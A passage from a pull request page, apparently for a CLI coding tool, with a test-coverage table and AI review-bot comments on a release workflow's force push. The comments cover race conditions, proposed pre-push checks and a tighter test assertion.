  ...mised-lock.ts |     100 |      100 |     100 |     100 |                   
  mock-tool.ts     |   94.85 |      100 |   78.78 |   94.85 | ...53,227-228,241 
  ...aceContext.ts |     100 |      100 |     100 |     100 |                   
 src/tools         |   86.29 |     85.1 |   88.82 |   86.29 |                   
  ...erQuestion.ts |   89.71 |    80.76 |   91.66 |   89.71 | ...66-367,374-375 
  ...-registrar.ts |    77.7 |    66.66 |   66.66 |    77.7 | ...72-277,292-294 
  ...ub-session.ts |   89.67 |     91.3 |   81.81 |   89.67 | ...03-304,315-322 
  cron-create.ts   |   90.64 |    92.85 |   72.72 |   90.64 | ...,73-74,223-231 
  cron-delete.ts   |   97.56 |      100 |   83.33 |   97.56 | 31-32             
  cron-list.ts     |   98.23 |    95.34 |    87.5 |   98.23 | 57-58             
  diffOptions.ts   |     100 |      100 |     100 |     100 |                   
  display-image.ts |   87.42 |    84.84 |   88.88 |   87.42 | ...29-134,194-195 
  edit.ts          |   82.76 |    86.77 |   81.25 |   82.76 | ...45-746,865-915 
  ...r-worktree.ts |   83.14 |    67.56 |    87.5 |   83.14 | ...84-187,278-279 
  enterPlanMode.ts |      85 |     82.6 |    87.5 |      85 | ...28-133,161-175 
  exit-worktree.ts |   83.29 |    83.65 |   94.44 |   83.29 | ...14-515,537-538 
  exitPlanMode.ts  |      95 |    85.29 |     100 |      95 | ...21-325,344,378 
  ...permission.ts |     100 |      100 |     100 |     100 |                   
  glob.ts          |   96.33 |     88.5 |     100 |   96.33 | ...24-225,373,376 
  grep.ts          |   90.73 |    86.61 |   85.71 |   90.73 | ...76-677,727-728 
  ...adTracking.ts |     100 |      100 |     100 |     100 |                   
  image-gen.ts     |   91.66 |    77.41 |    90.9 |   91.66 | ...13-214,221-222 
  list-agents.ts   |   94.02 |    82.35 |   83.33 |   94.02 | 31-32,47-48       
  loop-wakeup.ts   |   99.27 |    92.85 |     100 |   99.27 | 45                
  ls.ts            |   96.74 |    90.27 |     100 |   96.74 | 176-181,212,216   
  lsp.ts           |   72.71 |     59.5 |   90.32 |   72.71 | ...1212,1214-1215 
  ...nt-manager.ts |   82.13 |    80.47 |   85.71 |   82.13 | ...3234,3236-3237 
  mcp-client.ts    |   80.03 |    86.58 |   89.47 |   80.03 | ...2272,2276-2279 
  ...ry-timeout.ts |     100 |      100 |     100 |     100 |                   
  mcp-errors.ts    |     100 |      100 |     100 |     100 |                   
  ...pool-entry.ts |   79.21 |    85.71 |   81.57 |   79.21 | ...1341,1349-1350 
  ...ool-events.ts |       8 |      100 |       0 |       8 | 132-158           
  mcp-pool-key.ts  |   97.46 |    93.93 |     100 |   97.46 | 176-177           
  ...ce-content.ts |   96.55 |    91.17 |     100 |   96.55 | 80-82             
  mcp-retry.ts     |   97.67 |    95.65 |     100 |   97.67 | 131-132           
  ...ion-config.ts |     100 |      100 |     100 |     100 |                   
  mcp-status.ts    |     100 |      100 |     100 |     100 |                   
  mcp-tool.ts      |   98.35 |    93.71 |     100 |   98.35 | ...-990,1045-1046 
  ...sport-pool.ts |   83.98 |     80.3 |   88.46 |   83.98 | ...1409,1416-1420 
  ...ace-budget.ts |   87.27 |     82.6 |     100 |   87.27 | ...00-305,340-345 
  memory-config.ts |     100 |      100 |     100 |     100 |                   
  ...iable-tool.ts |     100 |    84.61 |     100 |     100 | 101,108           
  monitor.ts       |   91.82 |    83.09 |   88.46 |   91.82 | ...99,612,810-815 
  notebook-edit.ts |   85.71 |    77.08 |   81.25 |   85.71 | ...96-912,958-959 
  ...escendants.ts |   36.17 |    64.51 |   55.55 |   36.17 | ...46-310,385-390 
  ...nforcement.ts |   83.21 |    90.69 |     100 |   83.21 | 147-158,207-220   
  read-file.ts     |   95.49 |    88.52 |   86.66 |   95.49 | ...49,464,536-537 
  ...p-resource.ts |   96.85 |      100 |   91.66 |   96.85 | 92-96             
  ...d-artifact.ts |   91.18 |    86.71 |    87.5 |   91.18 | ...26-427,441-453 
  ripGrep.ts       |    94.6 |    87.26 |   95.23 |    94.6 | ...33-734,740-741 
  ...-transport.ts |   71.42 |    55.55 |   71.42 |   71.42 | ...36-137,143-144 
  send-message.ts  |   81.13 |    89.74 |    62.5 |   81.13 | ...80-286,363-371 
  ...n-mcp-view.ts |   94.07 |    91.89 |    90.9 |   94.07 | 131-139           
  shell.ts         |   78.96 |    84.29 |      93 |   78.96 | ...5036,5111-5112 
  skill-utils.ts   |     100 |      100 |     100 |     100 |                   
  skill.ts         |   91.39 |    92.55 |      90 |   91.39 | ...84,488,534-556 
  ...eticOutput.ts |   95.12 |      100 |      80 |   95.12 | 87-88             
  task-create.ts   |    94.4 |    93.33 |   81.81 |    94.4 | 45-49,63-64,95    
  task-list.ts     |   78.22 |    84.21 |   83.33 |   78.22 | ...66,105,109-116 
  task-stop.ts     |   93.14 |    96.15 |   85.71 |   93.14 | 39-40,54-64       
  task-update.ts   |   82.89 |    83.92 |    92.3 |   82.89 | ...14-422,454-465 
  team-create.ts   |   97.22 |    85.71 |   83.33 |   97.22 | 48-49,129-130     
  team-delete.ts   |   86.74 |    83.33 |   83.33 |   86.74 | 37-38,42-48,72-73 
  ...n-approval.ts |   92.14 |    96.77 |   77.77 |   92.14 | 38-39,42-43,93-99 
  todoWrite.ts     |   95.13 |    87.85 |   93.33 |   95.13 | ...23-527,540-545 
  tool-error.ts    |     100 |      100 |     100 |     100 |                   
  tool-names.ts    |     100 |      100 |     100 |     100 |                   
  tool-registry.ts |   78.57 |    79.59 |    82.6 |   78.57 | ...89-990,998-999 
  tool-search.ts   |   96.19 |    89.72 |   93.33 |   96.19 | ...09,259-264,426 
  tools.ts         |   93.11 |    92.53 |   91.66 |   93.11 | ...69-570,586-592 
  ...reapproved.ts |   99.27 |    94.11 |     100 |   99.27 | 170               
  web-fetch.ts     |   96.05 |    90.54 |   96.77 |   96.05 | ...85-786,800-801 
  web-search.ts    |   90.58 |    83.57 |      80 |   90.58 | ...1025,1083-1086 
  write-file.ts    |   86.72 |    84.92 |   88.88 |   86.72 | ...25-828,865-900 
  zoom-image.ts    |   95.76 |    93.75 |      90 |   95.76 | 54-59,203-204     
 src/tools/agent   |   86.92 |    87.48 |   88.59 |   86.92 |                   
  agent.ts         |   85.51 |    86.38 |   86.17 |   85.51 | ...4333,4367-4377 
  fork-profile.ts  |   93.65 |       90 |     100 |   93.65 | ...33-134,171-174 
  fork-subagent.ts |   98.73 |       95 |     100 |   98.73 | 101-102,173       
 ...tools/artifact |   95.78 |    92.51 |   88.63 |   95.78 |                   
  artifact-tool.ts |   91.46 |    88.46 |   71.42 |   91.46 | ...13-314,322-325 
  ...-publisher.ts |     100 |    85.71 |     100 |     100 | 32                
  ...-publisher.ts |   96.74 |    97.72 |    87.5 |   96.74 | 29-30,156-157     
  html.ts          |     100 |    96.77 |     100 |     100 | 122               
  ...-publisher.ts |     100 |       80 |     100 |     100 | 30                
  oss-publisher.ts |    98.1 |    91.48 |     100 |    98.1 | 43-45             
  publisher.ts     |     100 |      100 |     100 |     100 |                   
 ...s/computer-use |   90.21 |    82.17 |   78.08 |   90.21 |                   
  bootstrap.ts     |   59.42 |    80.95 |   41.66 |   59.42 | ...35-339,341-345 
  client.ts        |   80.11 |       90 |   77.77 |   80.11 | ...97,242-243,274 
  constants.ts     |     100 |    94.73 |     100 |     100 | 129,256           
  downloader.ts    |   65.29 |    52.77 |   58.33 |   65.29 | ...99-300,316-355 
  index.ts         |     100 |      100 |     100 |     100 |                   
  install-state.ts |   94.44 |    72.72 |     100 |   94.44 | 44-45             
  ...n-detector.ts |     100 |     87.5 |     100 |     100 | 50                
  schemas.ts       |     100 |      100 |     100 |     100 |                   
  tool.ts          |    96.3 |    85.71 |     100 |    96.3 | 75-76,184,252-258 
 ...tools/workflow |   86.51 |    84.81 |      75 |   86.51 |                   
  workflow.ts      |   86.51 |    84.81 |      75 |   86.51 | ...67,512,514-515 
 src/utils         |   92.95 |    89.65 |   96.91 |   92.95 |                   
  LruCache.ts      |     100 |      100 |     100 |     100 |                   
  ...Controller.ts |     100 |      100 |     100 |     100 |                   
  ...ssageQueue.ts |     100 |      100 |     100 |     100 |                   
  ...cFileWrite.ts |   94.94 |    92.47 |     100 |   94.94 | ...43-544,651-655 
  bareMode.ts      |   81.81 |      100 |      50 |   81.81 | 18-19             
  ...ry-content.ts |   98.45 |    95.45 |     100 |   98.45 | 132-133,159-160   
  browser.ts       |   86.84 |    78.94 |     100 |   86.84 | 34,36-37,65-66    
  btwUtils.ts      |   13.95 |      100 |       0 |   13.95 | 17-31,34-55       
  bundlePaths.ts   |     100 |      100 |     100 |     100 |                   
  ...on-context.ts |     100 |      100 |     100 |     100 |                   
  ...igResolver.ts |     100 |      100 |     100 |     100 |                   
  ...engthError.ts |   91.06 |    89.47 |     100 |   91.06 | ...46-147,154-155 
  ...n-branches.ts |   95.88 |    94.11 |      95 |   95.88 | ...98-499,511-524 
  ...tion-chain.ts |     100 |      100 |     100 |     100 |                   
  cronDisplay.ts   |     100 |    97.61 |     100 |     100 | 46                
  cronParser.ts    |   95.34 |    93.33 |     100 |   95.34 | 41-42,47-48,70-71 
  debugLogger.ts   |   96.66 |    96.61 |   88.88 |   96.66 | 192-196           
  editHelper.ts    |   93.63 |     83.9 |     100 |   93.63 | ...27-428,462-463 
  editor.ts        |   97.65 |    95.45 |     100 |   97.65 | ...35-336,338-339 
  encoding.ts      |     100 |      100 |     100 |     100 |                   
  env.ts           |     100 |      100 |     100 |     100 |                   
  ...arResolver.ts |   94.28 |    88.88 |     100 |   94.28 | 28-29,125-126     
  ...entContext.ts |   96.63 |    90.13 |   96.66 |   96.63 | ...42,444-445,512 
  errorParsing.ts  |     100 |      100 |     100 |     100 |                   
  ...rReporting.ts |   95.65 |    93.33 |     100 |   95.65 | 37-38             
  errors.ts        |   88.92 |    93.58 |   66.66 |   88.92 | ...92,394,410-411 
  fetch.ts         |   90.68 |    82.51 |     100 |   90.68 | ...72,483-484,503 
  file-identity.ts |     100 |      100 |     100 |     100 |                   
  fileUtils.ts     |   94.87 |    92.97 |   96.15 |   94.87 | ...1907,1915-1916 
  forkedAgent.ts   |   92.45 |    82.35 |   93.75 |   92.45 | ...34,642,647-654 
  formatters.ts    |     100 |      100 |     100 |     100 |                   
  ...eUtilities.ts |    92.4 |    86.95 |     100 |    92.4 | ...52-158,168-169 
  ...rStructure.ts |   94.39 |    94.28 |     100 |   94.39 | ...29-132,343-348 
  getPty.ts        |   31.57 |       50 |     100 |   31.57 | 26-38             
  git-branches.ts  |    91.6 |    84.21 |    92.3 |    91.6 | ...90,405-410,570 
  ...fig-safety.ts |   97.01 |       80 |     100 |   97.01 | 53-54             
  gitDiff.ts       |   95.19 |    81.36 |     100 |   95.19 | ...1073,1419-1420 
  gitDirect.ts     |   98.84 |    94.28 |     100 |   98.84 | 234,318           
  ...noreParser.ts |   94.48 |    93.22 |     100 |   94.48 | ...23-124,158-159 
  gitUtils.ts      |   78.83 |    82.35 |    87.5 |   78.83 | ...22-123,164-215 
  github-prs.ts    |   95.74 |    82.27 |     100 |   95.74 | 216,314-322       
  iconvHelper.ts   |     100 |      100 |     100 |     100 |                   
  ...rePatterns.ts |     100 |      100 |     100 |     100 |                   
  image-view.ts    |   95.08 |    93.33 |     100 |   95.08 | ...62-166,234-238 
  ...ionManager.ts |     100 |     90.9 |     100 |     100 | 27                
  ...lPromptIds.ts |     100 |      100 |     100 |     100 |                   
  ...on-context.ts |     100 |      100 |     100 |     100 |                   
  jsonl-utils.ts   |   95.41 |    93.47 |     100 |   95.41 | ...27-328,370-373 
  ...-detection.ts |     100 |      100 |     100 |     100 |                   
  ...iconv-lite.ts |     100 |      100 |     100 |     100 |                   
  ...simple-git.ts |   96.77 |    91.66 |     100 |   96.77 | 38                
  ...m-headless.ts |      96 |    88.88 |     100 |      96 | 34                
  ...iagnostics.ts |    96.4 |     94.2 |     100 |    96.4 | ...66,293-294,376 
  ...yDiscovery.ts |    92.4 |    89.13 |     100 |    92.4 | ...28,331,522-525 
  ...tProcessor.ts |   94.01 |       90 |     100 |   94.01 | ...47-353,445-446 
  ...Inspectors.ts |     100 |      100 |     100 |     100 |                   
  modelId.ts       |   98.96 |    98.21 |     100 |   98.96 | 153               
  ...kerChecker.ts |    90.9 |    91.66 |     100 |    90.9 | 73-79             
  notebook.ts      |   94.57 |    89.91 |   95.83 |   94.57 | ...21,333,385-387 
  openaiLogger.ts  |   91.66 |    89.74 |     100 |   91.66 | ...26-228,251-256 
  osc8.ts          |   54.26 |    64.86 |   83.33 |   54.26 | ...72-195,197-257 
  partUtils.ts     |     100 |    98.64 |     100 |     100 | 211               
  pathReader.ts    |     100 |      100 |     100 |     100 |                   
  paths.ts         |   90.88 |     90.6 |     100 |   90.88 | ...25-626,628-630 
  pdf.ts           |   92.17 |    85.81 |     100 |   92.17 | ...64-565,606-611 
  projectPath.ts   |     100 |      100 |     100 |     100 |                   
  projectRoot.ts   |   71.73 |    78.57 |     100 |   71.73 | 54-66             
  ...ectSummary.ts |   89.62 |    72.41 |     100 |   89.62 | ...40-145,196-199 
  ...tIdContext.ts |     100 |      100 |     100 |     100 |                   
  proxyUtils.ts    |     100 |      100 |     100 |     100 |                   
  ...rDetection.ts |   71.15 |       86 |     100 |   71.15 | ...-90,96-101,147 
  ...noreParser.ts |   92.63 |    91.66 |     100 |   92.63 | ...77-178,197-198 
  rateLimit.ts     |   93.75 |    89.62 |     100 |   93.75 | ...13,218-219,262 
  ...text-range.ts |   96.98 |    87.15 |     100 |   96.98 | ...87-688,763-764 
  readManyFiles.ts |   95.75 |    80.86 |     100 |   95.75 | ...05,558,568-572 
  retry.ts         |   96.09 |    92.52 |     100 |   96.09 | ...67,558-559,577 
  retryContext.ts  |     100 |      100 |     100 |     100 |                   
  ...sification.ts |   97.63 |    97.08 |     100 |   97.63 | ...17,251-252,278 
  retryPolicy.ts   |   97.72 |    90.56 |     100 |   97.72 | 130-131           
  ripgrepUtils.ts  |   90.04 |    93.43 |   95.45 |   90.04 | ...55-565,598-599 
  ...sDiscovery.ts |   97.46 |    93.05 |     100 |   97.46 | ...04,182-183,202 
  ...iagnostics.ts |   83.08 |     67.5 |   92.59 |   83.08 | ...23,543-544,550 
  ...tchOptions.ts |   84.87 |    86.71 |   96.29 |   84.87 | ...71,696,725-734 
  ...odelPrefix.ts |     100 |      100 |     100 |     100 |                   
  runtimeStatus.ts |   97.77 |    91.48 |     100 |   97.77 | 172-173           
  safe-mode.ts     |     100 |      100 |     100 |     100 |                   
  safeJsonParse.ts |     100 |      100 |     100 |     100 |                   
  ...nStringify.ts |     100 |      100 |     100 |     100 |                   
  ...-child-env.ts |     100 |      100 |     100 |     100 |                   
  ...aConverter.ts |   98.03 |    97.75 |     100 |   98.03 | 100,102-103       
  ...aValidator.ts |   92.09 |    83.65 |   90.47 |   92.09 | ...60,882-883,896 
  ...r-launcher.ts |   96.35 |    93.97 |   85.71 |   96.35 | ...35-336,347-348 
  sedEditParser.ts |   91.78 |    92.18 |     100 |   91.78 | ...66-569,645-646 
  ...nIdContext.ts |     100 |      100 |     100 |     100 |                   
  ...orageUtils.ts |   96.21 |    85.34 |     100 |   96.21 | ...70,386,466,485 
  ...-pager-env.ts |     100 |      100 |     100 |     100 |                   
  ...fety-rules.ts |     100 |     89.7 |     100 |     100 | ...01,304,309-311 
  shell-utils.ts   |   86.26 |    88.58 |     100 |   86.26 | ...2295,2302-2306 
  ...lAstParser.ts |    98.3 |    91.59 |     100 |    98.3 | ...1340-1342,1352 
  ...ContextEnv.ts |     100 |       92 |     100 |     100 | 50-52             
  ...nlyChecker.ts |   96.33 |    96.57 |     100 |   96.33 | ...83-284,292-293 
  sideQuery.ts     |   86.82 |    86.66 |     100 |   86.82 | ...79-185,187-193 
  ...pEventSink.ts |     100 |       80 |     100 |     100 | 61                
  ...tGenerator.ts |     100 |      100 |     100 |     100 |                   
  ...ameContext.ts |     100 |      100 |     100 |     100 |                   
  symlink.ts       |   77.77 |       50 |     100 |   77.77 | 44,54-59          
  ...e-encoding.ts |   85.96 |    76.47 |     100 |   85.96 | 58-61,64-65,78-79 
  ...emEncoding.ts |   96.36 |    91.17 |     100 |   96.36 | 59-60,124-125     
  terminalSafe.ts  |     100 |      100 |     100 |     100 |                   
  ...Serializer.ts |   98.72 |       90 |     100 |   98.72 | 42-43,134,201-203 
  testUtils.ts     |   53.33 |      100 |   33.33 |   53.33 | ...53,59-64,70-72 
  ...-constants.ts |     100 |      100 |     100 |     100 |                   
  textUtils.ts     |      65 |      100 |      75 |      65 | 56-75             
  thoughtUtils.ts  |     100 |    95.65 |     100 |     100 | 99                
  ...-converter.ts |   95.23 |    85.71 |     100 |   95.23 | 36-37             
  ...name-utils.ts |     100 |      100 |     100 |     100 |                   
  ...-finalizer.ts |   97.66 |     90.9 |     100 |   97.66 | 165-166,168-172   
  ...-retention.ts |     100 |    95.83 |     100 |     100 | 116               
  tool-utils.ts    |    95.2 |    93.61 |     100 |    95.2 | ...58-159,162-163 
  ...ultCleanup.ts |   54.62 |       64 |      75 |   54.62 | ...03-105,108-134 
  ...Compaction.ts |   96.13 |    96.42 |     100 |   96.13 | ...34-339,341-346 
  ...pt-records.ts |   87.55 |    86.13 |     100 |   87.55 | ...78-482,512-527 
  truncation.ts    |   90.61 |    90.59 |     100 |   90.61 | ...53-461,498-504 
  windowsPath.ts   |   89.47 |    79.31 |     100 |   89.47 | ...57-58,62,90-91 
  ...aceContext.ts |   95.39 |    89.47 |     100 |   95.39 | ...16-317,321-322 
  xml.ts           |    97.8 |    87.69 |     100 |    97.8 | 98-99             
  yaml-parser.ts   |   83.87 |    77.27 |     100 |   83.87 | ...31-234,239-240 
 ...ils/filesearch |   83.94 |    80.72 |   94.73 |   83.94 |                   
  crawlCache.ts    |     100 |      100 |     100 |     100 |                   
  crawler.ts       |    82.9 |    76.81 |   95.08 |    82.9 | ...1563,1597-1598 
  fileSearch.ts    |   93.78 |    87.67 |     100 |   93.78 | ...71-272,274-275 
  fzfWorker.ts     |       0 |        0 |       0 |       0 | 1-109             
  ...rkerHandle.ts |   84.05 |    75.43 |   89.47 |   84.05 | ...30-334,340-341 
  ignore.ts        |     100 |    97.36 |     100 |     100 | 187               
  result-cache.ts  |     100 |    93.75 |     100 |     100 | 49                
 ...uest-tokenizer |   69.76 |    75.47 |   85.29 |   69.76 |                   
  ...eTokenizer.ts |   65.72 |    74.02 |    92.3 |   65.72 | ...65-466,479-533 
  index.ts         |     100 |      100 |     100 |     100 |                   
  ...tTokenizer.ts |   68.39 |    69.49 |    90.9 |   68.39 | ...24-325,327-328 
  ...ageFormats.ts |   76.92 |      100 |   33.33 |   76.92 | 46-49,56-57       
  textTokenizer.ts |     100 |      100 |     100 |     100 |                   
  types.ts         |       0 |        0 |       0 |       0 | 1                 
-------------------|---------|----------|---------|---------|-------------------

For detailed HTML reports, please see the 'coverage-reports-22.x-ubuntu-latest' artifact from the main CI run.

@qwen-code-ci-bot qwen-code-ci-bot left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

No issues found. LGTM! ✅

Not explored to full depth (tool budget reached): "PR #9082 changes the release publish job in…": the concurrent-run scenario is static reasoning — I cannot execute two overlapping workflow runs from this environment to observe the divergence empirically; th…; "PR #9082 changes the release publish job in…": running the real npm run test:scripts suite (blocked on a full npm install in the worktree); the assertion was verified by faithful replication instead.; "You are review agent reverse-audit — Reverse audit agent…": none — no check was left unfinished at the ceiling.; "You are review agent reverse-audit — Reverse audit agent…": none — I finished every check I planned. I used about 13-14 tool calls.; "You are review agent reverse-audit — Reverse audit agent…": none — all planned checks completed (~14 tool calls)..

Not linted (tool limitation, not a blocker): the executable-script lint — .github/workflows/release.yml: actionlint embedded-shell source mapping is not yet supported — not linted.

Test Plan (not a blocker): release/v0.21.12-preview.0no such file or directory.

中文说明

未发现问题。LGTM!✅

未探索到全部深度(达到工具调用预算):"PR #9082 changes the release publish job in…"the concurrent-run scenario is static reasoning — I cannot execute two overlapping workflow runs from this environment to observe the divergence empirically; th…"PR #9082 changes the release publish job in…"running the real npm run test:scripts suite (blocked on a full npm install in the worktree); the assertion was verified by faithful replication instead."You are review agent reverse-audit — Reverse audit agent…"none — no check was left unfinished at the ceiling."You are review agent reverse-audit — Reverse audit agent…"none — I finished every check I planned. I used about 13-14 tool calls."You are review agent reverse-audit — Reverse audit agent…"none — all planned checks completed (~14 tool calls).

未检查(工具限制,非阻断):the executable-script lint — .github/workflows/release.yml: actionlint embedded-shell source mapping is not yet supported — not linted。

Test Plan(非阻断):release/v0.21.12-preview.0no such file or directory

— qwen3.8-max via Qwen Code /review (v0.21.11)

@qwen-code-ci-bot qwen-code-ci-bot left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Partially reviewed — gaps disclosed.

Not explored to full depth (tool budget reached): "PR #9082 changes the release publish job in…": vitest itself was not executed (no node_modules in the worktree) — the pin test's string assertion was verified directly against the file instead.; "PR #9082 changes the release publish job in…": did not confirm actions/checkout fetch-depth:0's exact refspec behavior, which only affects the --force-with-lease variant of the suggested fix, not the findi…; "PR #9082 changes the release publish job in…": Could not actually execute npx vitest run scripts/tests/release-workflow.test.js because node_modules is not installed in the review worktree; verified the so…; "PR #9082 changes the release publish job in…": did not execute the vitest suite live (no node_modules in the review worktree); the sole runtime assertion was verified statically.; "PR #9082 changes the release publish job in…": remote branch-protection/ruleset settings for release/** on QwenLM/qwen-code (force-push allowance) — not inspectable from the repo; would only change the fai…, and 1 more.

Not reviewed: reverse audit — stopped before round 4 by the review time budget.

Not linted (tool limitation, not a blocker): the executable-script lint — .github/workflows/release.yml: actionlint embedded-shell source mapping is not yet supported — not linted.

Test Plan (not a blocker): release/v0.21.12-preview.0no such file or directory.

中文说明

仅完成部分审查,审查缺口已披露。

未探索到全部深度(达到工具调用预算):"PR #9082 changes the release publish job in…"vitest itself was not executed (no node_modules in the worktree) — the pin test's string assertion was verified directly against the file instead."PR #9082 changes the release publish job in…"did not confirm actions/checkout fetch-depth:0's exact refspec behavior, which only affects the --force-with-lease variant of the suggested fix, not the findi…"PR #9082 changes the release publish job in…"Could not actually execute npx vitest run scripts/tests/release-workflow.test.js because node_modules is not installed in the review worktree; verified the so…"PR #9082 changes the release publish job in…"did not execute the vitest suite live (no node_modules in the review worktree); the sole runtime assertion was verified statically."PR #9082 changes the release publish job in…"remote branch-protection/ruleset settings for release/** on QwenLM/qwen-code (force-push allowance) — not inspectable from the repo; would only change the fai…,另有 1 条。

未审查:反向审计——评审时间预算不足,未能开始第 4 轮。

未检查(工具限制,非阻断):the executable-script lint — .github/workflows/release.yml: actionlint embedded-shell source mapping is not yet supported — not linted。

Test Plan(非阻断):release/v0.21.12-preview.0no such file or directory

— qwen3.8-max via Qwen Code /review (v0.21.11)

Comment thread .github/workflows/release.yml Outdated
Comment on lines +412 to +414
# computed version with no npm package, tag, or release behind it
# cannot have shipped, so the stale tip is only a prior bump.
git push --force --set-upstream origin "${BRANCH_NAME}" --follow-tags

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] R2-2: Force-push invariant is stale by push time — concurrent same-version runs can silently diverge npm artifacts, git tag, and main

The safety invariant this comment relies on is evaluated once, in prepare (doesVersionExist in scripts/get-release-version.js), but this push executes in publish — after the quality/integration/prebuild jobs and the production-release environment approval gate, tens of minutes to hours later — with no re-validation, and there is no concurrency: group anywhere in release.yml (all eight sibling release-family workflows have one). --force removed the non-fast-forward rejection, which was the only serialization that ran at push time.

Failure scenario: two overlapping runs compute the same version (a retry of a stalled-looking run, a double dispatch, or cron overlapping a manual dispatch; explicit version inputs and preview derivation guarantee identical computed versions). Run A pushes tree A and publishes the npm packages from tree A. Run B's force push then silently replaces the tip with tree B; the per-package npm view skips keep the npm artifacts as tree A's; gh release create --target "${RELEASE_BRANCH}" resolves the branch tip at call time; finalize-release.yml merges whatever the tip is into main. Every interleaving leaves npm vX, git tag vX, and main content permanently inconsistent. (The losing run errors at gh release create and notify_failure files an issue, but the run that shipped can be fully green with mismatched artifacts.)

Note on the triage thread: the concurrent same-version race was judged "pre-existing and not widened by this change". Verified against the diff's removed line: before this change the losing run's plain push was atomically rejected non-fast-forward before any artifact step (loud, non-mutating); after it, both pushes succeed and the last writer moves the branch that the other run's tag and main-merge anchor to — silent state corruption, i.e. a widened outcome.

Suggested fix — re-verify the invariant immediately before the push and abort if it no longer holds, and/or serialize the job (regular code blocks because the fix spans locations):

# on the publish job (a workflow-level group cannot reference needs.* outputs)
concurrency:
  group: release-publish-${{ needs.prepare.outputs.release_tag }}
  cancel-in-progress: false
if npm view "@qwen-code/qwen-code@${RELEASE_VERSION}" version >/dev/null 2>&1 \
  || gh release view "${RELEASE_TAG}" >/dev/null 2>&1 \
  || git ls-remote --exit-code origin "refs/tags/${RELEASE_TAG}" >/dev/null 2>&1; then
  echo "::error::release artifacts already exist for ${RELEASE_TAG} — refusing to force-push"
  exit 1
fi
中文说明

本注释所依赖的安全不变量只在 prepare 中求值一次(scripts/get-release-version.jsdoesVersionExist),而此推送发生在 publish —— 在 quality/integration/prebuild 任务与 production-release 环境审批门禁之后,相隔数十分钟乃至数小时 —— 期间没有任何重新校验,且 release.yml 全文没有 concurrency: 组(其余八个 release 系列 workflow 均有)。--force 移除了 non-fast-forward 拒绝 —— 那是唯一在推送时刻生效的串行化机制。

失败场景:两次重叠的运行计算出相同版本(对疑似卡住运行的重试、重复派发,或定时任务与手动派发重叠;显式 version 输入与 preview 版本推导保证计算出完全相同的版本)。Run A 推送 tree A 并从 tree A 发布 npm 包;随后 run B 的强制推送悄悄将分支 tip 替换为 tree B;逐包 npm view 跳过逻辑使 npm 产物保持为 tree A;gh release create --target "${RELEASE_BRANCH}" 在调用时解析分支 tip;finalize-release.yml 会把彼时的 tip 合入 main。任意交错顺序都会使 npm vX、git tag vX 与 main 内容永久不一致。(失败的一方会在 gh release create 报错,notify_failure 会建 issue,但真正发布成功的那次运行可以全绿而产物互不一致。)

关于本线程此前"同版本并发竞争既有、未被放大"的判断:已对照本 diff 删除的行核实 —— 改动前,后到运行的普通推送会在任何产物步骤之前被原子地拒绝(non-fast-forward,响亮且不产生副作用);改动后,两次推送都成功,最后写入者移动了另一运行的 tag 与 main 合并所依赖的分支 —— 静默的状态损坏,即被放大的后果。

建议修复:在推送前立即重新校验不变量、不再成立则中止,和/或为任务加串行化(代码块见上方英文部分)。

— qwen3.8-max via Qwen Code /review (v0.21.11)

Comment on lines +69 to +71
expect(workflow).toContain(
'git push --force --set-upstream origin "${BRANCH_NAME}" --follow-tags',
);

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] R2-3: Pin test is position-free — it stays green if the force push escapes the dry-run guard

This pin matches the push command anywhere in the file, so it stays green if a future edit moves git push --force ... out of the if [[ "${IS_DRY_RUN}" == "false" ]] guard (or inverts the guard), and no other test pins this guard. Verified by mutation probe: lifting the force push out of the guard keeps the suite 7/7 green, while the guarded regex below fails the mutation and passes pristine. The sibling test above pins its gate and ordering together with a multi-line regex, and the dry-run contract (release.yml:21) promises "no branches, npm packages or GitHub releases will be created" — a force push outside the guard would turn a dry-run leak into a destructive overwrite.

Concrete cost: a dry_run: true dispatch force-overwrites release/<tag> on origin while this test still passes.

Suggested change
expect(workflow).toContain(
'git push --force --set-upstream origin "${BRANCH_NAME}" --follow-tags',
);
expect(workflow).toMatch(
/if \[\[ "\$\{IS_DRY_RUN\}" == "false" \]\]; then[\s\S]*?git push --force --set-upstream origin "\$\{BRANCH_NAME\}" --follow-tags/,
);
中文说明

该固定测试只在文件任意位置匹配推送命令,因此未来若有编辑把 git push --force ... 移出 if [[ "${IS_DRY_RUN}" == "false" ]] 保护(或反转条件),测试仍为绿色,且没有其他测试固定此保护。突变探针确认:把强制推送移出保护后套件仍为 7/7 全绿;下方带保护的 regex 对该突变失败、对原代码通过。同文件上方的兄弟测试以多行 regex 同时固定门禁与顺序,且 release.yml:21 的 dry-run 契约承诺"不会创建任何分支、npm 包或 GitHub release" —— 保护外的强制推送会使 dry-run 泄漏变成破坏性覆盖。

具体代价:dry_run: true 派发会在 origin 上强制覆盖 release/<tag>,而本测试仍然通过。

— qwen3.8-max via Qwen Code /review (v0.21.11)

@qwen-code-dev-bot

qwen-code-dev-bot commented Aug 14, 2026

Copy link
Copy Markdown
Collaborator Author

AutoFix round 10 finishedview run. See this round's report below.

中文说明

AutoFix 第 10 轮已完成 —— 查看运行。本轮报告见下方。

prepare's doesVersionExist check runs minutes to hours before publish
pushes (validation jobs and the production-release approval gate sit in
between), and --force removed the non-fast-forward rejection that used
to serialize the push itself. Concurrent same-version runs could
therefore diverge the npm artifacts, the git tag, and main. Serialize
publish per release tag and re-validate the unshipped invariant — every
published package, the tag, and the release — immediately before the
push; pin all three invariants in the workflow tests.

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>
@qwen-code-dev-bot

Copy link
Copy Markdown
Collaborator Author

🤖 Addressed the latest review feedback (round 1/10). What changed, and what I pushed back on: · 已处理最新评审反馈(第 1/10 轮)。改动内容与我反驳保留之处如下:

Review feedback addressed — PR #9082 (issue #9076)

Commit: d8422c8857fix(ci): re-validate the release version before force-pushing (#9076)

No merge conflicts; origin/main was not merged.

1. [Critical] R2-2 — force-push invariant is stale by push time (rc:3781157140)

